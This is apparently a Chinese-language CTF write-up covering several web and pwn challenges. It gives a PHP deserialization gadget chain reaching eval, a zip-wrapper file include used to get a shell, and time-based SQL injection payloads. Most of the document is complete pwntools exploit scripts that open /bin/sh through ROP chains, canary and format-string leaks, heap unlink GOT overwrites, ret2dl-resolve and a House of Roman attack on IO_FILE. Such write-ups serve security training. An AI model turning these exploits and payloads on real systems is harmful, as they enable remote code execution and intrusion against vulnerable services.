---
# System prepended metadata

title: Write Up

---

[TOC]

# Write Up
## web
### 六尘

不是很懂这个操作，网站curl能ssrf，但是没啥用，最后通过其他题目知道通过存在一个flagishere获取利用token获取flag，访问`http://111.33.164.4:10005/flagishere/`后发现目录存在目录遍历，之后直接获取flag: `http://111.33.164.4:10005/flagishere/6be8b547d6db1d213c1ceecc30b3cb24.php?token=1DJAVU22DOAFE800000020PIO5JH0MHN`

### 八苦
`http://111.33.164.4:10004/index.phps`存在代码泄露

```
    error_reporting(0);
    class Test{
        protected $careful=1;
        public $securuty;
        public function __wakeup(){
            if($this->careful===1){
                phpinfo();  // step 1:  read source,get phpinfo and read it carefullt
            }
        }
        public function __get($name){
            return $this->securuty[$name];
        }
        public function __call($param1,$param2){
            var_dump(11);
            if($this->{$param1}){
                eval('$a='.$_GET['dangerous'].';');
            }
        }
    }
    class User{
        public $user;
        public function __wakeup(){
            $this->user=new Welcome();
            $this->user->say_hello();
        }
    }
        // $string=$_GET['foo']??$a;
    // unserialize($string);
```

发现也没法利用，但是可以反序列化执行phpinfo。`http://111.33.164.4:10004/index.php?foo=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00careful%22%3Bi%3A1%3Bs%3A8%3A%22securuty%22%3BN%3B%7D`

发现有一个preload配置，加载了此文件`http://111.33.164.4:10004/this_is_a_preload.php`

```
<?php 
    class Welcome{ 
        public function say_hello(){ 
            echo "welcome<br>"; 
        } 
    } 
    class Welcome_again{ 
        public $willing; 
        public $action; 
        public function __construct(){ 
            $this->action=new Welcome; 
        } 
        public function __destruct(){ 
            if($this->willing){ 
                $this->action->say_hello(); 
            } 
        } 
    } 
    highlight_file(__FILE__) 
?>
```

然后就可以通过Welcome_again进行call调用，通过eval进行代码执行。

```
http://111.33.164.4:10004/index.php?foo=O%3A13%3A%22Welcome_again%22%3A2%3A%7Bs%3A7%3A%22willing%22%3Bi%3A1%3Bs%3A6%3A%22action%22%3BO%3A4%3A%22Test%22%3A3%3A%7Bs%3A10%3A%22%00%2A%00careful%22%3Bi%3A0%3Bs%3A8%3A%22securuty%22%3BN%3Bs%3A9%3A%22say_hello%22%3Bs%3A4%3A%22null%22%3B%7D%7D&dangerous=phpinfo();
```

### 空性
从html网页内容看到地址: `151912db206ee052.php`

然后发现存在文件泄露: `http://111.33.164.4:10003/.151912db206ee052.php.swp`

```
  4 error_reporting(0);
  5 class First{
  6   function firstlevel(){
  7         $a='whoami';
  8         extract($_GET);
  9         $fname = $_GET['fname']?$_GET['fname']:'./js/ctf.js';
 10         $content=trim(file_get_contents($fname));
 11         if($a==$content)
 12         {
 13                 echo 'ok';;
 14         else
 15         {
 16                 echo '听说你的Linux用的很6？';
 17         }
 18   }
 19 }
 20 $execfirst = new First();
 21 $execfirst -> firstlevel();
```

存在变量覆盖，之后显示一个新的地址。


```
2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=computer&file=3792689baaabc7eb&hash256=9c062d7697674fb92d0a03c2bf3b6ad6
```

上传zip，然后用zip伪协议包含getshell

```
POST /2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=computer&file=?&file=zip://upload/6e5555b6856e20.zip%231&hash256=25db8caabd7e5c2b6976fa657112c4b7 HTTP/1.1
Host: 111.33.164.4:10003
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

0=cat flagishere/c5a3038d0aeb393711c53abe41dd15f2.php
```

### 五叶
又是一个迷题，题目做了一些过滤，比如or、`=`等等字符串，发现password是可以进行注入的，注入语句为: `user=admin&password=zzz'||if(0,1,0)||sleep(0.5))#--+a&login=Login`，但是一直没法再注入其他东西。

```
POST / HTTP/1.1
Host: 111.33.164.4:10002
Content-Length: 84
Cache-Control: max-age=0
Origin: http://111.33.164.4:10002
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://111.33.164.4:10002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
client-ip: 10.18.25.47
x-forwarded-for: 127.0.0.1
Connection: close

user=admin&password=zzz'||if((username)regexp'^a',1,0)||sleep(0.5))#--+a&login=Login
```

然后测试了一下上面的就得到flag信息了。

```
Login Successful, venus flag : 85aaf2ac9bf8feb57b18eacfc8888a2a.php
```

`user=admin&password=zzz'||if(('a')regexp'^a',1,0)||sleep(0.5))#--+a&login=Login`，发现这样却不行？蜜汁逻辑。

### 空相
这个题目也很迷, `http://111.33.164.4:10001/25d99be830ad95b02f6f82235c8edcf7.php?id=1%27&token=1DJAVMASFJTVLL00000020PH96VDP00C`，页面显示需要id参数，然后就出flag了。


## pwn

### pwn9 - 坐忘

程序存在很明显的栈溢出，不过需要进行base64编码。首先泄漏canary，然后构造ropchain溢出覆盖返回地址就可以了。

```python
import base64
from pwn import *
from struct import pack

context(
	log_level='info',
	os='linux',
	arch='amd64',
	binary='./pwn9'
)

e = context.binary
io = remote('111.33.164.4', 50009)

#==========================================

def dbg(script=''):
	gdb.attach(io, gdbscript=script)

def leak_canary(content, ctn='yes'):
	payload = base64.b64encode(content)
	io.sendlineafter('>\n', payload)
	io.recvuntil(content)
	canary = u64(io.recv(7).rjust(8, '\x00'))
	io.sendlineafter(' ?', ctn)
	return canary

def send_rop(content, ctn='no'):
	payload = base64.b64encode(content)
	io.sendlineafter('>\n', payload)
	io.sendlineafter(' ?', ctn)

#==========================================


#==========================================


canary = leak_canary('a'*9)
success('canary: '+hex(canary))

#dbg()

payload = 'a'*0x8
payload += p64(canary)
payload += 'b'*0x8
p = ''
p += pack('<Q', 0x0000000000401f57) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb080) # @ .data
p += pack('<Q', 0x00000000004715e4) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047cd21) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f57) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x0000000000426baf) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047cd21) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401e36) # pop rdi ; ret
p += pack('<Q', 0x00000000006cb080) # @ .data
p += pack('<Q', 0x0000000000401f57) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x00000000004433e6) # pop rdx ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x0000000000426baf) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004003da) # syscall
payload += p
send_rop(payload)

io.interactive()
```

### pwn7 - 玄冥

程序在edit函数有很明显的堆溢出漏洞，通过构造fd和bk到note_list可以使用unlink对漏洞进行利用，从而控制note_list达到任意地址读写的目的。然后泄漏got，覆盖got就可以完成利用。

```python
from pwn import *

context(
	log_level='info',
	os='linux',
	arch='amd64',
	binary='./pwn'
)

e = context.binary
libc = ELF('./libc-2.19.so')

io = remote('111.33.164.4', 50007)
#==========================================

def dbg(script=''):
	gdb.attach(io, gdbscript=script)

def menu(cmd):
	io.sendlineafter('choice >>', str(cmd))

def add(size):
	menu(1)
	io.sendlineafter('size:', str(size))

def edit(idx, content):
	menu(3)
	size = len(content) + 1
	io.sendlineafter('id:', str(idx))
	io.sendlineafter('size:', str(size))
	io.sendafter('content:', content)

def show(idx):
	menu(2)
	io.sendlineafter('id:', str(idx))
	io.recvuntil('data:')

def delete(idx):
	menu(4)
	io.sendlineafter('id:', str(idx))

def leak(address):
	payload = p64(address)
	edit(0, payload)
	show(1)
	data = io.recvline()[:-1].ljust(8, '\x00')
	info('leak: '+hex(u64(data)))
	#print type(data)
	return data

#==========================================

note_list = e.symbols['note_list']
atoi_got = e.got['atoi']
atoi_off = libc.symbols['atoi']
system_off = libc.symbols['system']

#==========================================

add(0x88) #0 unlink victim
add(0x88) #1 trigger
add(0x88) #2

payload = p64(0) + p64(0x81)
payload += p64(note_list-0x18) + p64(note_list-0x10)
payload = payload.ljust(0x80, 'a')
payload += p64(0x80) + p8(0x90)
edit(0, payload)

delete(1) #unlink

payload = '\x00'*0x18
payload += p64(note_list+8) + p64(atoi_got)
edit(0, payload)
show(1) #leak atoi@libc
atoi_addr = u64(io.recvline()[:-1].ljust(8, '\x00'))
info('atoi_addr : '+hex(atoi_addr))
libc_base = atoi_addr - atoi_off
system = libc_base + system_off
success('libc base: '+hex(libc_base))
payload = p64(system)
edit(1, payload)
io.sendline('/bin/sh')
#dbg()
io.interactive()
```


### pwn6 - 於讴

简单的栈溢出ROP，开始不知道libc版本，就用了ret2dl-resolve的方法做。

```python
#!/usr/bin/env python

from pwn import *

context.log_level = "debug"

elf = "./pwn"

puts_plt = 0x4005d0
read_plt = 0x400600
exit_plt = 0x400630

puts_got = 0x620018
read_got = 0x620030
exit_got = 0x620048

pop_rdi = 0x414fc3
pop_rsi = 0x414fc1

read_func = 0x4007e2

plt_addr = 0x4005c0
data_addr = 0x620060
got_plt_addr = 0x620000

pop_rbp_ret = 0x4006b0
leave_ret = 0x4039a3

dynsym_addr = 0x4002c8
dynstr_addr = 0x4003e8
rel_plt_addr = 0x4004f0
link_map_ptr = got_plt_addr+0x8

# fake

fake_stack_addr = data_addr+0xb00
base_addr = fake_stack_addr+0x180
#reloc_arg = (base_addr+0x8-rel_plt_addr)/0x18
base_addr = 0x620d08
reloc_arg = 0x16b01
dynsym_off = (base_addr+0x18-dynsym_addr)/0x18
system_off = base_addr+0x30-dynstr_addr
bin_sh_addr = base_addr+0x38
log.info("reloc_arg: "+hex(reloc_arg))

#p = process(elf)
p = remote("111.33.164.4", 50006)

p.sendline("-1")
p.recvuntil("OH, WHY ARE YOU SO GOOD?")

#gdb.attach(p)
payload = p8(0)*0x10
payload += p64(fake_stack_addr)
payload += p64(pop_rdi)
payload += p64(link_map_ptr)
payload += p64(puts_plt)
payload += p64(pop_rsi)
payload += p64(0x100)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(fake_stack_addr)
payload += p64(read_func)
payload += p64(leave_ret)
payload += p64(fake_stack_addr+0x300)
payload += p64(fake_stack_addr+0x300)
payload += p8(0)*(0x100-len(payload))
p.send(payload)

p.recvline()
link_map_addr = u64(p.recv(6).ljust(8, "\x00"))
log.info("link_map_addr: "+hex(link_map_addr))
#p.recvline()


payload = p8(0)*7
payload += p64(pop_rsi)
payload += p64(0x100)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(link_map_addr+0x168)
payload += p64(read_func)
payload += p64(pop_rsi)
payload += p64(0x100)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(base_addr-0x8)
payload += p64(read_func)
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(plt_addr)    # jump to _dl_runtime_resolve
payload += p64(reloc_arg)   # reloc_arg
payload += p8(0)*(0x100-len(payload))
p.send(payload)

p.send(p8(0)*0x100)

payload = p8(0)*0x5
payload += p64(read_got)
payload += p32(0x7)+p32(dynsym_off)
payload += p64(0)
payload += p32(system_off)+p32(0x12)
payload += p64(0)*0x2
payload += "system\x00\x00"
payload += "/bin/sh\x00"
payload += p8(0)*(0x100-len(payload))
p.send(payload)

p.interactive()
```

### pwn11 - 拈花

这道也是简单的栈溢出，但是一直找不到libc! 之后把centos的全部libc down下来进行搜索，发现版本为`libc6_2.19-18+deb8u10_amd64-libc-2.19.so`，就直接计算偏移得到system地址即可。


```python
#! /usr/bin/python

from pwn import *

context.log_level = 'debug'

elf = ELF("./pwn11")
puts_plt = elf.plt["puts"]
read_plt = elf.plt["read"]
read_pot = elf.got["read"]
start = 0x401080
pop_rdi = 0x4012ab
pop_rsi_r15 = 0x4012a9
data_addr = 0x404040

'''
read_off = 0xf7250
sys_off = 0x45390
sh_off = 0x18cd57
'''
read_off = 0xdbb90
sys_off = 0x41490
sh_off = 0x0

p = remote("111.33.164.4", 50011)

raw_input()
payload = 'a' * 0x28 + p64(pop_rdi) + p64(read_pot) + p64(puts_plt) + p64(start)
p.sendlineafter("name", '123')
p.sendlineafter("?", payload)
p.recvuntil("!\n")
read_addr = u64(p.recv(6) + '\x00\x00')
print(hex(read_addr))
sys_addr = read_addr - read_off + sys_off
sh_addr = read_addr - read_off + sh_off
print(hex(sys_addr))
print(hex(sh_addr))

payload = 'a' * 0x28
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(data_addr) + p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi) + p64(data_addr)
payload += p64(sys_addr) + p64(0xdeadbeef)
p.sendlineafter("name", '123')
p.sendlineafter("?", payload)
p.sendlineafter("fail", "/bin/sh\x00")
p.interactive()
```

### pwn13 - 一苇

无力吐槽的一道题，依旧是栈溢出，程序包含了system函数，覆盖后两个字节跳转至system。

```python
#! /usr/bin/python

from pwn import *

context.log_level = 'debug'

p = remote("111.33.164.4", 50013 )
#p = process("./pwn13")

raw_input()
p.sendlineafter("choice:", "1")
payload = 'a' * 0x28 + "\x50"
p.sendafter("massage", payload)
p.interactive()
```

### pwn14 - 正定

常规的的 unsafe_unlink 技术的练习。

```python
#! /usr/bin/python

from pwn import *

context.log_level = "debug"

chunk_list = 0x4040c0

def new_note(size, context):
    p.sendlineafter("choice :", "1")
    p.sendlineafter("note :", str(size))
    p.sendafter("note:", context)

def edit_note(index, size, context):
    p.sendlineafter("choice :", "2")
    p.sendlineafter("Index :", str(index))
    p.sendlineafter("note :", str(size))
    p.sendafter("note :", context)

def del_note(index):
    p.sendlineafter("choice :", "3")
    p.sendlineafter("Index :", str(index))

#p = process("./pwn14")
p = remote("111.33.164.4", 50014)
#raw_input()
new_note(0x80, 'a' * 0x20)  # 0
new_note(0x80, 'a' * 0x20)  # 1
new_note(0x80, 'a' * 0x20)  # 2

payload = p64(0) + p64(0x80) + p64(chunk_list - 0x18) + p64(chunk_list - 0x10)
payload += 'a' * (0x80 - 0x8*4)
payload += p64(0x80) + p64(0x90)
edit_note(0, 0x100, payload)
del_note(1)

payload = 'a'*0x18 + p64(chunk_list - 0x18) + p64(0) + p64(0x4040a0)
edit_note(0, 0x30, payload)
edit_note(2, 0x10, "9876")
p.sendlineafter("choice", "70")
p.interactive()
```

### pwn1 - 副墨

明显的字符串格式化漏洞，虽在抵达漏洞点前使用`srand(time(NULL))`生成随机数进行限制，但在获取用户名时存在溢出可覆盖`seed`使得生成的随机数固定。遂利用字符串格式化漏洞泄露出canary和栈上保存的代码段地址，构造RoP链向`.bss`段`read`入`/bin/sh`，最终跳转至`pwn`函数：

```python
from pwn import *
import time

context.log_level = 'debug'

seed = '1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492,596516649,1189641421'.split(',')

p = remote('111.33.164.4', 50001)
#p = process('./bf')
p.recvline()
p.sendline('1')
p.recvline()
fmt = "%23$p,%17$p,"
p.sendline(fmt + 'A'*(0x1c-len(fmt)) + p32(0))
#gdb.attach(p)

for i in xrange(10):
    p.recvuntil('guess:')
    num = int(seed[i]) % 99999 + 1
    p.sendline(str(num))

leak = p.recvuntil('F').split('\n')[1].split(',')
leak_pie_addr = int(leak[0], 16)
leak_cookie = int(leak[1], 16)

binary_base = leak_pie_addr - 0xabf
read_addr = binary_base + 0x8f0
pwn_addr = binary_base + 0xaa0
pop_rdi_ret = binary_base + 0xdb3
pop_rsi_pop_r15_ret = binary_base + 0xdb1
bss_addr = binary_base + 0x202088

payload = ''
payload += 'B'*0x34
payload += p64(leak_cookie)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(bss_addr)
payload += p64(0)
payload += p64(read_addr)
payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(pwn_addr)

p.sendline(payload)
p.sendline('sh\x00')
p.interactive()

time.sleep(100)
```

### pwn15 - 立雪
程序在修改时存在堆溢出漏洞,没有开PIE, 并且存在后门函数,因此可以直接通过unlink写got表调用后门函数

```python
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux')

exe = './pwn15'
ip = '111.33.164.4'
port = '50015'

elf = ELF(exe)


def dbg(script=''):
    attach(io, gdbscript=script)


def choice(idx):
    io.recvuntil('Your choice:')
    io.sendline(str(idx))


def new(size, content):
    choice(1)
    io.recvuntil('Length of note:')
    io.sendline(str(size))
    io.recvuntil('Content of note:')
    io.send(content)


def edit(idx, size, content):
    choice(2)
    io.recvuntil('Index:')
    io.sendline(str(idx))
    io.recvuntil('Length of note:')
    io.sendline(str(size))
    io.recvuntil('Content of note:')
    io.send(content)


def dele(idx):
    choice(3)
    io.recvuntil('Index:')
    io.sendline(str(idx))


# ------------------------------------------------
LOCAL = 0
buf_addr = 0x00000000006020C0
put_addr = elf.got['puts']
backdoor = 0x0000000000400C32
padding = 'C'*0x60
# ------------------------------------------------


def exp():

    new(0x80, 'A'*8)
    new(0x80, 'B'*8)
    edit(0, 0xa0, p64(0)*2+p64(buf_addr-0x18) +
         p64(buf_addr-0x10)+padding+p64(0x80)+p64(0x90))
    dele(1)
    edit(0, 0x28, 'D'*0x18+p64(put_addr))
    edit(0, 0x8, p64(backdoor))

    io.interactive()


# ------------------------------------------------
if __name__ == '__main__':

    if LOCAL:
        io = elf.process()  # env={"LD_PRELOAD": libc.path})
    else:
        io = remote(ip, port)

    exp()

```

### pwn12 - 西来
程序存在offbynull漏洞,因此可以overlap,不过因为无法分配`fastbin`,因此不能fastbin attack,尝试通过houseofroman攻击iofile缓冲区getshell

```python
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=False)

exe = './pwn12'
ip = '111.33.164.4'
port = 50012
elf = ELF(exe)
libc = ELF('./libc-2.19.so')


def dbg(script=''):
    attach(io, gdbscript=script)

def choice(idx):
    io.recvuntil('5.Exit')
    io.sendline(str(idx))

def add(size):
    choice(1)
    io.recvuntil('Size?')
    io.sendline(str(size))

def edit(idx, content):
    choice(2)
    io.recvuntil('Index?')
    io.sendline(str(idx))
    io.recvuntil(':')
    io.send(content)

def show(idx):
    choice(3) 
    io.recvuntil('Index?')
    io.sendline(str(idx))

def dele(idx):
    choice(4)
    io.recvuntil('Index?')
    io.sendline(str(idx))
# ------------------------------------------------
LOCAL = 0
libc_off = 0x5ca868
heap_off = 0x60
io_list  = 0x5cb040
system   = 0x266490
# ------------------------------------------------


def exp():
    io.sendafter("what's your name?", 'A'*0x20)
    io.sendafter("what's your info?", 'B'*0x20)

    # overlap
    add(0x20-8)     # 0
    add(0x70-8)     # 1
    add(0x70-8)     # 2
    add(0x70-8)     # 3
    add(0x70-8)     # 4
    add(0x70-8)     # 5
    add(0x60-8)     # 6
    edit(5, 'A'*0x30 + p64(0x200))
    dele(1)
    dele(2)
    dele(3)
    dele(4)
    dele(5)
    edit(0, 'B'*0x18)   # offbynull
    add(0x20-8)     # 1
    show(1)
    io.recvuntil('\x0a')
    libc_addr = u64(io.recv(6).ljust(8, '\x00')) - libc_off
    log.info(hex(libc_addr))
    #dbg()
    add(0x20-8)     # 2 overlap
    dele(1)
    dele(6)
    add(0x20-8)     # 1
    add(0x60-8)     # 3 # chain
    edit(3, p64(0)*2+p64(libc_addr)+p64(libc_addr+0x10))
    add(0x20-8)     # 4
    add(0x60-8)     # 5 # f->_wdate
    add(0x40-8)     # 6
    edit(6, p64(libc_addr+system)*5)
    add(0x20-8)     # 7


    # unsortedbin attach
    add(0x70-8)     # 8
    show(8)
    io.recv()
    heap_addr = u64(io.recv(3).ljust(8, '\x00')) - heap_off

    edit(5, p64(0)*9+p64(heap_addr+0x170))
    dele(5)
    dele(6)
    dele(3)
    add(0x40-8)     # 3
    add(0x20-8)     # 4
    edit(8, 'C'*0x18+p64(0x21)+'C'*0x10)
    dele(2)
    edit(8, 'C'*0x10+p64(0)+p64(0x21)+p64(0)+p64(libc_addr+io_list-0x10)+p64(20)*4+'/bin/sh\x00')
    add(0x20-8)     # 2
    #dbg()

    dele(3)
    

    
    io.interactive()


# ------------------------------------------------
if __name__ == '__main__':

    if LOCAL:
        io = elf.process(env={"LD_PRELOAD": libc.path})
    else:
        io = remote(ip, port)

    exp()

```


